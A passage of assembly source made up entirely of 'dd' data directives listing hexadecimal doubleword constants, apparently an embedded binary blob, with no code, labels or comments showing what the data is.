17510FF0h, 6CE07738h, 0A7C7BE2Dh, 0D9B12230h, 1495DC80h dd 8CFB625Fh, 7B60F20Ch, 0C33DB3E9h, 29A8831Eh, 1C1BD9BEh dd 0A68889h, 0D9F1937h, 310002ADh, 148A5091h, 0C77AD9BCh dd 8212C229h, 608571D4h, 0C3881C0Fh, 0FF045731h, 8EBB00A7h dd 96744E32h, 0D4BFE614h, 0D6E16678h, 32850408h, 808C37BBh dd 3F2AB2D0h, 0CA72A800h, 1624AC3Eh, 0A048FE9Dh, 63A0210h dd 0BC0A9FA8h, 6607A1FCh, 110DF825h, 0F38A808Eh, 11FF24Ah dd 0A9DAC03Eh, 30B03B83h, 98E2F72Bh, 0F946D200h, 0E050531Fh dd 402F0664h, 10B1D40Fh, 8045FA3Ch, 0CAB0D371h, 714DD24Bh dd 518A30FFh, 6DAA1F08h, 4A802701h, 5352D10Dh, 30561880h dd 363A4590h, 0C306747Dh, 4D1C6D1Dh, 530F381Ah, 5F770680h dd 0B7F954D5h, 0B9327A00h, 0D4995631h, 759303F8h, 4EF15A76h dd 80B057A9h, 0D9CACC58h, 0BB8D48h, 935DC24Ah, 1A4B73Bh dd 20776FCh, 0AA4E415Fh, 317E7580h, 93C8C04Fh, 98F527CDh dd 2638D900h, 7F745D90h, 50B70C7Eh, 0EAD9B30Ah, 393043F0h dd 8E36C851h, 0E86C6FD1h, 0F57D7F00h, 7530504Ch, 0AA9F31C0h dd 98F90627h, 28FEC1C9h, 5235BD06h, 29087F59h, 428C0E4Fh dd 4B003919h, 8368034Dh, 0C41FE103h, 27692Ch, 287A7F30h dd 134EC0FEh, 0E0D321C7h, 43AA51F0h, 0B129CA63h, 0D0490788h dd 104C8A45h, 9D21D3Ch, 20006028h, 646B6339h, 0DC123Ah dd 0F983A8F6h, 55EEEB2Ah, 92C4A900h, 4FBA95F8h, 0BBF600D4h dd 397DDF91h, 0B003AF0Ah, 0E8D65060h, 19407C8Ch, 28D73AB9h dd 18A7085Bh, 118837B0h, 86088592h, 1E811DCh, 0D1EB1612h dd 0D343C987h, 509023h, 8A9308D5h, 8900BBE2h, 0DE48565Bh dd 0C19FA45Fh, 9286FA80h, 2FB0808Ah, 0DD3FE20Ah, 7D881D11h dd 7F57006Ch, 56934FE5h, 85B718C6h, 0AA5F0778h, 0EC6A6EEDh dd 78057B71h, 87ACE3F8h, 80F36800h, 6056DDB0h, 0BBE3B1D0h dd 0F0775EF9h, 6728DF67h, 0CB561A43h, 84F0016Dh, 285D34Bh dd 95E07079h, 0EB68B903h, 71346F6h, 964A3958h, 208985EDh dd 3A95FE8Ch, 0E7DD190Ch, 0E24B8128h, 0C52C08DFh, 6281D735h dd 0EBD463E9h, 0C013FAE0h, 0AF4E6D10h, 500D457Ch, 4134B9E2h dd 0F8A380C8h, 5C5F0F9Eh, 1401DDA9h, 0C84B6C4Eh, 0A14C59Ah dd 2A8CABB2h, 730098F7h, 0A65244B3h, 0C6D7FC6h, 1006E72Fh dd 4A512B9h, 2C1D00D5h, 0A5376F6Ah, 0EA18D560h, 5993CEh dd 792FF087h, 4468DD3Ah, 0ABBD8E00h, 521EBA37h, 32E8016Dh dd 0F0865FBCh, 0E4144063h, 0B681BE51h, 84324008h, 10B75058h dd 29C45307h, 0D0461922h, 0EB42796Ch, 29C64F19h, 561111Eh dd 0FB92E4h, 0F1E080C9h, 10DA9BF3h, 43DF600h, 680AE881h dd 981D0077h, 8ADCCCD5h, 0BF00E19Eh, 0A99CB830h, 186857A4h dd 8875020Eh, 0D339921Ah, 2BF9004Eh, 0D4C8FE67h, 1B4B074Dh dd 30619CB4h, 0A064E69h, 4A30300h, 2415EE0h, 936B0052h dd 0A2483CD5h, 9900C622h, 0B7EFFD11h, 274B2Dh, 2384BF05h dd 0EA2041F4h, 0DD653E0Fh, 80CB4010h, 8B1EF3h, 0D81CD997h dd 2F61C886h, 0E8734F00h, 770A5569h, 0AE420FD0h, 0BEC724FDh dd 5B1551A3h, 0C3E4502Bh, 330106CEh, 6044C7A2h, 0C5D092D3h dd 610D0031h, 5D0B6510h, 48C076E2h, 30A8DBD6h, 0B3CB00A5h dd 0D181AF68h, 0CC134699h, 3000B0F3h, 7A215CC6h, 0E7850087h dd 8B24335h, 0EF001FC1h, 7964BB20h, 3A77E0h, 13F139F3h dd 76B48032h, 4BF5BD00h, 3BA4B1C8h, 74CE30FFh, 4FA23EF8h dd 185C6B00h, 0FB8C9031h, 0C6D905FEh, 230448h, 9EF0FC94h dd 2D00442Ah, 0CAD3F8E0h, 7A473DFEh, 0F655000Ah, 0E84CAD7Bh dd 80261A98h, 8F0761A5h, 9DA015BFh, 0EE4FEAA9h, 0E95700FAh dd 86B87EB3h, 3C03A8B7h, 89F5855Dh, 8BD79838h, 0DBC807E8h dd 30AA0C49h, 75A2804Fh, 9B3D9300h, 5BE9E10Dh, 0D9590027h dd 0EC35ACA5h, 98024E67h, 49BFF28Bh, 0D5E880AAh, 9753EB5h dd 0DFBBF134h, 0F5799080h, 3800B01Eh, 0DDA13D47h, 0B52BE9h dd 0E58281D6h, 0D0E0994Dh, 7EBE1900h, 61748DEFh, 0AD9F0287h dd 38B340C0h, 260192E0h, 96074E00h, 2D3E62C2h, 0AC480070h dd 65DA0FF6h, 0CA009592h, 21B75EAFh, 49AE7CB4h, 0DBA004CDh dd 99000BE9h, 6B3BD43h, 3DA7CFCDh, 4680F339h, 90C275ACh dd 0E7009B4Eh, 16C62802h, 4D2A5534h, 78A854h, 9D3F8FC5h dd 90094F80h, 0E4C90113h, 538DD0C0h, 0E43B500Fh, 13DC0092h dd 0F5282178h, 0D500F0C8h, 0BDA4CF83h, 0F9BA0Ch, 6746A6F8h dd 63BAE9Fh dd 0D14F9300h, 2D6FF078h, 121DE2BCh, 6EACC13h, 581EF682h dd 0ED41B41Dh, 0A44FF59Ch, 85B84044h, 114724h, 55B246A3h dd 108273ADh, 0C43048h, 0DDF86FC0h, 0F485F2F3h, 0A98902B4h dd 0D223D0D7h, 46E88060h, 88B79301h, 16A8C6BCh, 0E8584D60h dd 8A9806h, 2F503202h, 8CE20375h, 78694800h, 7114FA4Ch dd 5B770072h, 97930A8Bh, 575C395h, 3D00ED76h, 65226D7h dd 2B1A3Ch, 692E37A0h, 4AA2A4D8h, 0AB3D0C00h, 819E0685h dd 600200BEh, 83C37949h, 0DB1C3032h, 5543094Dh, 0F0D8232Fh dd 4124BCh, 0BA581422h, 42636AB7h, 4A00ADE4h, 7C72C70Dh dd 5AE996h, 0C2C8E6F8h, 0B3BAA355h, 0F3228800h, 1787DE90h dd 7B5700DCh, 58FC86C4h, 0D3009768h, 6E66EFEAh, 0E7647F7h dd 0DF56C69Ch, 0ADC70FE1h, 0B8FF301Ch, 2F38A100h, 1DFB85A4h dd 3B650027h, 0EBFD0395h, 6DFA18B9h, 7E6B4400h, 924EB022h dd 7D413F15h, 53E26BEh, 19135D80h, 4CF0C030h, 58556500h dd 63672022h, 0FF5A00EAh, 0E70D2AC2h, 3B002E78h, 0F25B4496h dd 0E290CA40h, 0B0EE004Bh, 3EDF8A8Bh, 6C01B1B7h, 1CCF1F2Ah dd 0BBC0228Fh, 6B9500D8h, 2C6252DEh, 9B0015A5h, 0D325073Fh dd 0AA67Fh, 0FC35A843h, 0EF7C7B5Bh, 28A09B0Fh, 0CA13A0BEh dd 1C95E699h, 0BCF9EEEh, 7CA00680h, 0F86C2175h, 0C6C42C00h dd 0F755F146h, 97420309h, 5DBA1AEEh, 0E2E8708Bh, 0F9008B6Ah dd 0BC0DCEC8h, 0AB4F573h, 0BD1F407h, 1DAC07D8h, 3D643002h dd 0A401D42Dh, 0D1FEF5D2h, 98306933h, 0AF4016CDh, 31012E6h dd 38B275C8h, 0D6B0C0E8h, 0F15FEE1Dh, 45E08902h, 4B3841D8h dd 1DADE8D0h, 8DDFF7h, 72B11478h, 0FA001624h, 79F2C27Bh dd 3C1F2550h, 0A4130240h, 0BDE700ADh, 3BC944B8h, 7731C400h dd 5D412643h, 138200E3h, 189C8F20h, 9E016AEBh, 0E2D9067Ah dd 0A021C483h, 0B0737A30h, 261D0FA6h, 174076C9h, 0BCE679F0h dd 96E4D700h, 627A4EB1h, 27AF0042h, 0DB6D5AC9h, 52E21D40h dd 2AEABB00h, 0E3AB77EEh, 0C033734Eh, 0F284B7D0h, 362E5EC9h dd 8C2052FEh, 70D35F03h, 0B6D9BA17h, 0E337728h, 0BC1549E5h dd 5D8B4C40h, 695CAB71h, 7D03004Ch, 70600C08h, 926D0089h dd 9521A358h, 6F00CCC9h, 835CFEDAh, 0F13792Ch, 525B674Fh dd 106C3CA6h, 0DAC2D700h, 693FA7B7h, 2F962E6Ah, 77F2879Ch dd 7A68416Ch, 0B0A0CCB6h, 1C67B4F0h, 0AF8085A8h, 78CF739Dh dd 0BC9A00F5h, 0CDC51D0Ch, 0DDE658D0h, 514D49C0h, 3D4FAF38h dd 1CA6BEFh, 79F65FD4h, 6492E43Ch, 4BC38800h, 274C7C63h dd 93F0F5h, 5FECC6D0h, 0DC020B25h, 0AD14FD00h, 0A973B2F8h dd 8B340340h, 152DF66Ah, 303627A0h, 82BF9E00h, 73F037ECh dd 0C12501D9h, 0D561558Ah, 956C7015h, 84CE2F3Ch, 60DEC2BCh dd 0A5B9D3C0h, 0AEB30EEBh, 0EEFB271h, 405E82EFh, 6944A396h dd 491E5BB0h, 0CF859BDh, 0C82BD256h, 3E1C1B52h, 0B2C86CBAh dd 0F917966Bh, 1040CDC9h, 59AA5A3Ch, 0C3E7073Dh, 0B2256719h dd 8AF71FB9h, 400F723Ah, 65D9E098h, 17A8D89h, 0C9D48A8h dd 340D997Dh, 0F9009890h, 0CF2762F0h, 0B02C1ABBh, 0DA5E0018h dd 8C11DD88h, 0FF002D6Ah, 0EC73C88Eh, 6CB274h, 9AB83965h dd 94775D1Ch, 0BC849503h, 96332A72h, 463200C0h, 0D4D3655Eh dd 0B412D04Ah, 0B31D8CB6h, 5E13B80h, 8FC97Ch, 39E3FD1Ch dd 58D9C547h, 0CE8A7F00h, 619B57FFh, 0ECC001B9h, 5F64AA86h dd 2CC080B6h, 550EBB9Eh, 516E1CC1h, 23BA40D2h, 4B7AF095h dd 67F20C01h, 5A491B13h, 99CCDE4h, 3E600135h, 0BD9E2600h dd 0AF005CF9h, 0BB5A65FAh, 32234Fh, 905F82Ah, 359A61Ch dd 0D046400h, 0B13F2EDEh, 92F7B2Bh, 61EC246Ah, 2C424C00h dd 694E3117h, 487C2C00h, 142D8D06h, 9C845CA0h, 0BE785E00h dd 0C740AD54h, 3856DA00h, 0EE276BB0h, 0AE300F42h, 40FEC8CCh dd 0B4755B97h, 0AB0783ECh, 57950B41h, 9A4BBD90h, 698F0087h dd 0F23FD8D3h, 0F9010A26h, 381142C2h, 3474B1A3h, 3F98EFh dd 0A15A668Dh, 0B32C3234h, 0A3CFA616h, 0E8BB9C01h, 6770F414h dd 98514D1Fh, 0CA30460Eh, 1284FE49h, 0C9008025h, 0A2022C57h dd 0F91D8DABh, 0B2EBC0D3h, 82CD0B2Dh, 9B00EBF1h, 705C395Fh dd 6B047301h, 81EDC9ABh, 62EE30h, 33996C03h, 5EC3B1B2h dd 882E5D00h, 65985C4Fh, 4031DFF8h, 865830A0h, 64E9EE4Eh dd 1C12063Ch, 24023101h, 605EC2E2h, 1D26963Ch, 3D9572h dd 55D5FB2h, 3674E50Dh, 0EC0240C0h, 1F07035Ah, 586BDA1Ch dd 0AE7B181Fh, 0DDDF1207h, 5C10751Eh, 0E9C65Dh, 2E920542h dd 0B5C0B27Fh, 405E8D01h, 0A63F9324h, 91239840h, 5B7B0082h dd 92DB4368h, 2D01BCEDh, 7A0E81F0h, 0BFCC1899h, 6E703845h dd 28624D03h, 6591C886h, 956A24EEh, 4E9EA91Fh, 80138CCBh dd 0E626FE2Fh, 76F0AFh, 396252Ch, 0D595B8D4h, 7C3BAC03h dd 0C0939E41h, 0B6BDD1h, 0C4FA631Bh, 0FC49CBDFh, 0BFE18600h dd 789116F0h, 0CC2A39A8h, 5B838B00h, 267BD82Ch, 6F1513Ch dd 54B20DE8h, 498000C0h, 6CBF471Eh, 400D966h, 3A20307Eh dd 38226452h, 45821827h, 0FF7BED94h, 8079BCC0h, 0D8A82D00h dd 82EF62F9h, 0B18307CFh, 91F61506h, 80D9EE72h, 9AC77570h dd 398DAEh, 0BE790282h, 546AAF2Eh, 3E611B39h, 48A68077h dd 0A117F7E7h, 868701F4h, 0C8188AEBh, 2D3AC428h, 74E0D300h dd 6F09DCACh, 49FAE5h, 403CA5ABh, 2C944487h, 0C2DA5300h dd 0EDF80B89h, 225601FEh, 0B2D6F364h, 0FA90814Eh, 0D1BA75C9h dd 1CCF5E20h, 52311450h, 0BF160923h, 460046F8h, 0ED80B17Dh dd 0A0630h, 585B7101h, 0EC9EE34Ah, 20E56407h, 0FE1716E8h dd 904A07Eh, 4627BF9h, 0DCC54DBDh, 2F3C800Fh, 0F6011D27h dd 74E4B0AAh, 8680FE3Dh, 11477FBDh, 510052ADh, 0E39C7ACAh dd 67E9C4h, 9963C5D0h, 572CC2B6h, 1980F700h, 4D9DCA59h dd 8EF90164h, 0CD71AFA4h, 0F501E406h, 6EE3DA0Fh, 2C0BE4Eh dd 0DB449B7Eh, 53FC00C4h, 703CEA8Dh, 0CE3032CBh, 50601054h dd 98881341h, 862C0148h, 0C063C835h, 9907C93Dh, 26EDB98Ah dd 54726FC0h, 38C1E831h, 218F615Ch, 0B2400AE0h, 0C93B775Bh dd 0E7F59F00h, 3DFD83D4h, 0B670FBCFh, 3FFA01ABh, 763EB5Eh dd 0AA8A43B0h, 7DB8C6E8h, 7A2A3EFAh, 0C50184B4h, 149F30F6h dd 30961FBEh, 0BDC600B8h, 0B62297C4h, 8F424F00h, 855266D6h dd 347C77h, 4A913287h, 39410E1Eh, 3100847Ah, 1870C8B4h dd 90610C8Bh, 3EFCF8h, 6F0A6A44h, 5CE30DD9h, 75DD8E7h dd 4393DC03h, 0C0BFE075h, 5CB019DBh, 0CF012647h, 564FDF8Ch dd 8440DCFDh, 82D76B00h, 63EDCE92h, 18F900E5h, 76372D09h dd 80A0944Fh, 0BB001D8Fh, 0BDB7AF96h, 8D34ADh, 6505DE04h dd 3827160Ch, 2DA4C201h, 0E555E4D1h, 98F3F0h, 0A1224503h dd 0D769F72Ah, 0D3E87800h, 0ED45F07h, 287E00B7h, 0C48375F5h dd 0DE037B46h, 0DD064CE1h, 0EE92E0EFh, 19D30164h, 0F97220C2h dd 0A318D80Eh, 95563100h, 657826A1h, 0CBC6002Ah, 0ACEF43F2h dd 2E0097BEh, 0E7407E37h, 1C655B79h, 80B93430h, 9CAA505Ah dd 0A205CAEAh, 0E0E197F5h, 2F1FF008h, 0AD003F70h, 2E303947h dd 0C43EDD42h, 80B56511h, 0EE4F6F6Ch, 78C87600h, 629E90ABh dd 0A88F0B3Ch, 59C0C18Ch, 9100DDE9h, 9140850h, 881001h dd 78F2B335h, 7FDC89Fh dd 3CEB3A3Eh, 0E7E8054h, 17695FBh, 166D00CDh, 4EB83B4Ah dd 5D0A1183h, 0FB64183Eh, 44B2ED03h, 4F399082h, 55300F7h dd 639DEBE1h, 55003A42h, 51F51A6Fh, 0DAC1CAEh, 0BA9F0240h dd 0C6F6E4D6h, 96FF5E1Fh, 0C0B6BC0h, 581AE43Ah, 0F2009B12h dd 3E3B0518h, 7D0063D6h, 4B943883h, 126EB23h, 0CC04BD8Eh dd 200AFE99h, 9F029D30h, 174A7E09h, 4C846045h, 0B2B005Ch dd 7DA23EDFh, 217A3DABh, 0EA5CFB7Bh, 4EF62ECBh, 0B0063600h dd 95F1D2h, 4FD82064h, 8A67161Eh, 0DBF63500h, 339E4CC7h dd 69F800BEh, 0C02C0915h, 489206E1h, 60CEAFA0h, 0DBF86400h dd 5DD78CF7h, 0AF9D007Bh, 40E5A8A5h, 0F2757D5Ah, 0B91F3C00h dd 0DB2F84C2h, 6FBA008Eh, 9D4293E3h, 66241530h, 38128CCFh dd 0D904801h, 3A0082B4h, 5E700E70h, 8AEAEF00h, 0E092CB3Bh dd 0E4C1394Ah, 0FA6C2Eh, 18E82349h, 3C79662Fh, 569A0E17h dd 54855C00h, 32A64C8h, 73B73F41h, 0BB8B5ADh, 0B679290Ah dd 79BD0F07h, 602032CAh, 0F3076Dh, 0E76F9441h, 62D5EE55h dd 0B0DC5600h, 6D4CD77Dh, 3B0DB8BFh, 0AA004169h, 7234B3E3h dd 1300ABC7h, 0DBCB8063h, 9A599Dh, 50BE95D3h, 10AA409Fh dd 483A0400h, 0C7DC1DC8h, 0CDEA0B24h, 26806476h, 0D8BF423Eh dd 0FB564403h, 0C087C3C0h, 26B3B5FAh, 0CA6230h, 0BE72752Ah dd 83001B99h, 46A86553h, 0E950C9h, 76FD619Ch, 0C52E8281h dd 0AD194C00h, 3FE7CF3Bh, 0A3570043h, 0D1EBFFFBh, 9000B956h dd 770425E8h, 404869h, 8EB2AC5Ch, 0D1A75516h, 834B3E07h dd 2800F519h, 396CA5Fh, 88692E4h, 0C8F8D2CBh, 1000128Eh dd 0C46051D0h, 30040E48h, 9058ADE8h, 9FE196Bh, 0B0C3D33Fh dd 0B0F7185h, 75FD0126h, 0CE5EB19Ch, 91880C0h, 0AD5FC63Dh dd 9511C059h, 2DCD20C9h, 2FBDC407h, 0F2577830h, 5CABD8B0h dd 81FE32h, 2ADD5541h, 0F0F71598h, 58A3F100h, 8D9E132Ch dd 0D11C00FFh, 8CECCEBAh, 24770ABCh, 4072691Eh, 927E983Ch dd 0AFF398h, 0AD24284h, 1405D7B3h, 7AE9D00h, 72BD37C4h dd 0BA870326h, 29F712E0h, 0C2E8E006h, 0D98640h, 5BC9AD03h dd 0CCB8DE6Bh, 22198C07h, 973050C4h, 0F21EE8Eh, 779180C3h dd 80F1E647h, 6DC178B6h, 5715370Bh, 9E5F80CAh, 18AC489h dd 6B80F4E2h, 0A3259769h, 1AF00471h, 0F191608Eh, 137DE096h dd 0A6358200h, 43FF24F5h, 0A40600F9h, 6F8BEE18h, 0CA3E31B6h dd 52F87E9Ch, 891B0200h, 373355E9h, 5942600Bh, 0B05F81AEh dd 8EBD51C4h, 0B77CFB20h, 5029E160h, 0A0208491h, 0EB40984h dd 0B733ED36h, 30231680h, 0C0030539h, 6F5425Fh, 0D0B928EBh dd 0BC1A3334h, 0AD911C1h, 87199F02h, 3B24FC40h, 29B7313Ch dd 8070FBB3h, 43FE730Dh, 0CE001217h, 38B02C2h, 0C87E32A5h dd 0F9807FE8h, 0E6A4C74Bh, 0CB9B885h, 28BC7D72h, 0C40A3469h dd 4C42366Ah, 1EA5A460h, 86EB02CEh, 73A6F993h, 0D12F2C48h dd 94843A90h, 0B4FEAB0Ch, 18BAA935h, 38C43EFDh, 0D4A4CC6Ah dd 4845F500h, 88D8C0A4h, 170D00C4h, 0A17C786Ah, 37E49298h dd 1F35E400h, 93891322h, 5C0A031Eh, 89DC1C2h, 7641483Ah dd 12000649h, 44F75D3h, 5DC160E3h, 37F72FFh, 0BF3B1B2Ch dd 66B0BECCh, 0D9071961h, 3438ADFCh, 0E712E361h, 62DAF8h dd 0A6C4C251h, 8E7256BAh, 8007323Fh, 8C171931h, 245891C0h dd 172E134Fh, 8BB70081h, 84E9B3EDh, 33E4341Ch, 46C7D65Ch dd 0B191E329h, 0D07088A3h, 87DF01C3h, 12557966h, 0D128200Dh dd 0C007917Eh, 0CFC2E7E2h, 7501390h, 16B7227Bh, 5AFFA307h dd 10CCC50Ah, 3DD100A0h, 67CDA7ABh, 5701C201h, 0C3FC3F14h dd 4080476Ah, 8FBF068Bh, 7403110Ah, 0E1160D7Ah, 30E58072h dd 652800CFh, 0C2DEB454h, 0B058AD01h, 0B14B0087h, 92FFE698h dd 0D1480022h, 0DEE7CD74h, 7AE8CC64h, 5A9121C0h, 7402825h dd 768C651Eh, 7C7BB0D3h, 8901FF0Fh, 946CE857h, 90F3D29Bh dd 898B0A3h, 487DD141h, 7F5F4930h, 602DFA99h, 0AAD111A5h dd 1E073C3Ah, 265187FAh, 0C0CE088Ch, 3A726721h, 9F071196h dd 9BABEC1Dh, 0EE9EF4A0h, 3B480001h, 0AAFCCA07h, 8F1803BAh dd 0B138E308h, 166B00F8h, 71A71B8Ch, 9C663A5h, 2003EBh dd 59167358h, 179EF244h, 0D4A0B50Ch, 10B0D109h, 0F350B7h dd 0BBF5CE5Ch, 1B4803h, 0AAFFA1D9h, 0FA23431Dh, 0F3E2500h dd 47A5CA8Fh, 0F3E10F44h, 0C05C3C53h, 0E22198A3h, 3005A4Dh dd 0C8EA39CAh, 4E8E58h, 8482DC71h, 0ECD4F441h, 4345AF00h dd 94F17434h, 8CEF00E7h, 0C0093D80h, 0DA728724h, 0A0678E00h dd 94B1AB10h, 73D90046h, 5B7F31A9h, 9100AFEDh, 9ED10286h dd 0E962A42h, 99928EFEh, 648FD560h, 4004C4Bh, 0A08A107Fh dd 0F3FAB1h, 8B499E72h, 0AF5EFDB6h, 12238h, 0A2157C1Bh dd 786399D4h, 0F2F607C2h, 703DEB78h, 62F946C0h, 2DA62100h dd 0FC48B7CCh, 0E860E10h, 1D803394h, 5E674A5Ch, 61857B00h dd 0B9AD7241h, 6080E840h, 23F32081h, 0A600E45Eh, 784B5A08h dd 3DB093h, 0FA1B7EE2h, 53B37485h, 446B5401h, 18265E05h dd 33FC97F0h, 0F91819EAh, 0FD862AE8h, 81A1F73Fh, 0E32C821Ch dd 1D00FC9Eh, 0A61FD977h, 61008448h, 0DE5F562h, 21FA6019h dd 0CE8C5F5Ch, 7500967h, 28DE3D81h, 3B2076F3h, 0A4817379h dd 9C7D4E6Ah, 50088C32h, 0DC205Eh, 9AEE736Eh, 518E015Fh dd 1C5468C0h, 0C07E824Dh, 0D8262A60h, 75013FE8h, 12E50F8h dd 0EED053D6h, 0AB20C01Ch, 10EFE911h, 687FAF01h, 0F7D9AF8h dd 164E21E0h, 0FD0732Ah, 401E13B1h, 7227D669h, 0B300EFF5h dd 6F47E865h, 931F25h, 0BF26CE03h, 1AE6C0BCh, 2EE25A00h dd 39880F08h, 256A0355h, 6B1E752Ch, 0D990A2D0h, 17938C12h dd 83941C03h, 0F8FDDB13h, 0FA3B7527h, 9D04007Dh, 666885Bh dd 0EF2EB320h, 0C5124DF1h, 40F6800h, 0CF7099h, 0DAA97E92h dd 277748B3h, 0A10E0300h, 4F992FFAh, 7D2100C1h, 0C36CF8EFh dd 360E373Ch, 20B4A780h, 4990E78Bh, 0D09200A2h, 0D62C48ABh dd 0A3070268h, 5E88E638h, 1FB423h, 3FE29092h, 4B7458CDh dd 1CE89C00h, 0EC8BC4D3h, 0F410156h, 192676F2h, 0B1A03B03h dd 0F4271293h, 0C03C005Ch, 0C17091EFh, 0E8331205h, 7A805BEBh dd 0D15D9Ah, 4B4436B5h, 20B94E7Bh, 2D03A700h, 6D5F553Ch dd 0E2243E07h, 9B005E5Ch, 8928ADC9h, 0F400C6A2h, 7C5A59C4h dd 0DD8FE5h, 0AD79A41Dh, 9C0AA190h, 6DD66B00h, 0BB3BDBC2h dd 667241h, 991DE406h, 0A047B1D9h, 299D7632h, 0D8DF10E6h dd 22F60589h, 2A228B7Ch, 228521D7h, 0D8210105h, 138A8911h dd 915D9C8Eh, 82D212Ch, 92909908h, 4A26C384h, 0E1450C9h dd 1C76213Ch, 35A172D0h, 945A1482h, 0FC217A24h, 101112DBh dd 5E8890AFh, 0F03A80D4h, 4AADB203h, 0EB92957Bh, 0C54BD859h dd 2D3500C6h, 0E14EF6CBh, 0E4005FD1h, 96A58BA1h, 0FCA203h dd 0D301B8B9h, 37262011h, 0C87ED907h, 0E3601F07h, 0ABF0F8h dd 0A09A2352h, 55389B90h, 0C2D61E00h, 9966AD19h, 64F600DCh dd 453B505Ch, 0B50FEFF3h, 60A2A76Fh, 1B6A7695h, 205B0F8Eh dd 1D36B2EBh, 93ABCFAEh, 98907940h, 0EEFFFFBAh, 0B289AC40h dd 849E2300h, 0DA5BDBB3h, 62BB00A0h, 356A545h, 9B00983Bh dd 0CA5451DCh, 1A1CF3h, 0F8FB6B5Dh, 3018A334h, 0BA1EF500h dd 9E8D327Fh, 13B1004Ah dd 0BB427A93h, 0DB2C5D8Ch, 0F30057AAh, 3C71681h, 0C2F50FC5h dd 2480F2CAh, 0E8AC71A2h, 8FFDDD3Dh, 0E11A1BA0h, 9B4C6368h dd 8EAEE4h, 9AF7FA50h, 7EE95E65h, 220CEA00h, 0BCF3E44Ah dd 20C0F13Ch, 16B002Ah, 44BBE7D4h, 35005868h, 58DCEF9h dd 60904EFFh, 3B78B08Ah, 4100F3F2h, 58F771D4h, 131984Ch dd 0F51EDA73h, 0F4CF5125h, 0A002BB0h, 5F09ECF9h, 0FA0784h dd 0FD895933h, 446A1C5h, 61FBAF00h, 0F3274D78h, 6F7F28h dd 0F17A92DAh, 0F9375018h, 0DF681E00h, 2ADE6102h, 603E0FB2h dd 0C4408AD1h, 2731F457h, 3043FB00h, 69937058h, 64FD0008h dd 1273EB4Ch, 0B52813BDh, 3026D8DEh, 39017B4Fh, 3E6783F0h dd 151370h, 2DB0A2D7h, 0EDFC7E5Eh, 2F00BBE8h, 8BCDF6A4h dd 2069BEh, 0B96C5452h, 4049266Eh, 3EAF3Ch, 7AC1F0B1h dd 1D14E903h, 0C0602816h, 0AD47CD9Ah, 0FF7F8059h, 4900297Fh dd 399E3062h, 0ED3A3h, 65D9E214h, 27FC4F23h, 21F84E60h dd 0CB3C87h, 57D7E71Dh, 4CBE0E02h, 7D90D302h, 0A7D885C2h dd 0BF1082FCh, 0FCDA757Ch, 3C3B00CEh, 22B1F67Dh, 3FA5C34h dd 4F84B41Fh, 1AC3DC9h, 5D76662h, 4E7DDCh, 0F570852Dh dd 0A3A46576h, 0C3A74F00h, 48E659F0h, 0BF710069h, 0E163979Eh dd 0C50F28A1h, 0C144A5F1h, 0BB318391h, 6D7D40EAh, 80EE4854h dd 88D04A07h, 7F34A06Fh, 0F2B0F233h, 0E64C8E2Ch, 99798C00h dd 0DFA430h, 0D1051407h, 0CDC2462Ch, 77A86618h, 0F3E1FD8h dd 2B5A88E5h, 870182A2h, 0B694AB40h, 0DB1D6500h, 0E11171A6h dd 0EFD5006Fh, 0B3C6B5A4h, 7301CD3Ch, 81EBCA48h, 0C9D8F170h dd 37D9132Eh, 8100033h, 1BAAC020h, 0CAB5A700h, 1324C1Ch dd 368F0056h, 705B7EC1h, 2E07F6F2h, 0DE30EE4h, 0FFD4BFB0h dd 8B1E00F1h, 0B4D8727Ah, 0DA5C85B7h, 0E962036Ah, 9878E0B2h dd 92043h, 61198806h, 89956B01h, 0A231AE00h, 26BC3DD8h dd 9E7705C3h, 81BF2D98h, 0E8CFD920h, 8C1D80CAh, 8D80E156h dd 2060C692h, 75E000CCh, 0AED24AECh, 56011A86h, 9ED521BDh dd 9BE4374Dh, 669C00B0h, 0DB3963C4h, 9900060Eh, 0C618407Ch dd 0C92122h, 0D4295D4Ah, 0CE490F26h, 0E40C65F2h, 0DC03B0B6h dd 7FC7079Dh, 71F6C8B1h, 6A162374h, 487CC3F0h, 5D00D3F5h dd 1BCD8D57h, 30004F6Ch, 0D78B5213h, 64C565h, 7DEE9C45h dd 0DA310535h, 109F0F00h, 7657BD7Fh, 386A3832h, 0AF9EE480h dd 20B1F04Fh, 5F3BB90Bh, 9DE6800Bh, 217B17h, 0D2D134BAh dd 1D9791F2h, 78680400h, 631BB186h, 0F0FA0071h, 3F96BC15h dd 2F00EFC8h, 79F62A62h, 1C929ADAh, 40F17677h, 8E2BC739h dd 0CF0E617h, 9C7CFC00h, 47F9BEA0h, 9B3F0305h, 4FDFD765h dd 774B2CC0h, 0C0903E03h, 901AD820h, 117DB2h, 0CEB92DC2h dd 2ABDA4B6h, 0C800C490h, 6A47CF6Dh, 7B520B0h, 0B8819A5Dh dd 1DA2402Dh, 0A778F445h, 42F0D009h, 0DCD200B9h, 378D995h dd 0AF15EDB5h, 51E0B87Eh, 3F1E5C7Dh, 0BFC19CC2h, 0CF5B48B0h dd 0E3038E0h, 2E6DB89Bh, 6A87407Dh, 580B858Eh, 0F5BCAC00h dd 3E4DE53Ch, 45400089h, 0C08F519Bh, 0B000434Bh, 0E154BA96h dd 64D1E24h, 7B049D95h, 282C1EDAh, 0A001A470h, 1E100E3Bh dd 496FE080h, 298CA47Ch, 0FBA1351Dh, 0D2E1EA40h, 113EEC2h dd 0D155165Dh, 3024B27Ch, 38C05EA9h, 0EC97233Dh, 8FCD0132h dd 35CA2F7Fh, 0BEACECF6h, 0C0278900h, 0B786E6FEh, 3FA9004Ch dd 87CA953Ch, 0C0C05120h, 6497FB3h, 52F601E1h, 12B61C48h dd 9C34C46Ch, 0F03FFF00h, 0BD8B6FF1h, 86A075Ah, 0F0636E22h dd 0C6ADCE02h, 50039CE2h, 857EEF9Ah, 82BAC8B4h, 15672EBh dd 0A9491915h, 0C8ECB1D3h, 0B009E45h, 0D5A5573Dh, 315BCB9h dd 12B581F2h, 38019CD7h, 863BF538h, 0D0202B8Bh, 0E6C2008Eh dd 9593C8A1h, 6D00699Fh, 0ABF3A40Ah, 3B737h, 0DB02B828h dd 628C5404h, 2809D73Eh, 0A601C0AAh, 305C5179h, 81EC454Bh dd 0BE98A5h, 0F76680C9h, 0A34294E3h, 8500F2E8h, 0C10154B9h dd 99FBABDh, 0C45D22CFh, 0EBCE0003h, 82ACBCD0h, 0B532703h dd 0A8EA3012h, 202386Dh, 0D466072Ch, 0C580A02Eh, 0BA1768F9h dd 0C6CD5007h, 0E6305CC1h, 0EFD6DFFh, 60972FF2h, 3D1FFBA3h dd 5A2818C0h, 0EAF03065h, 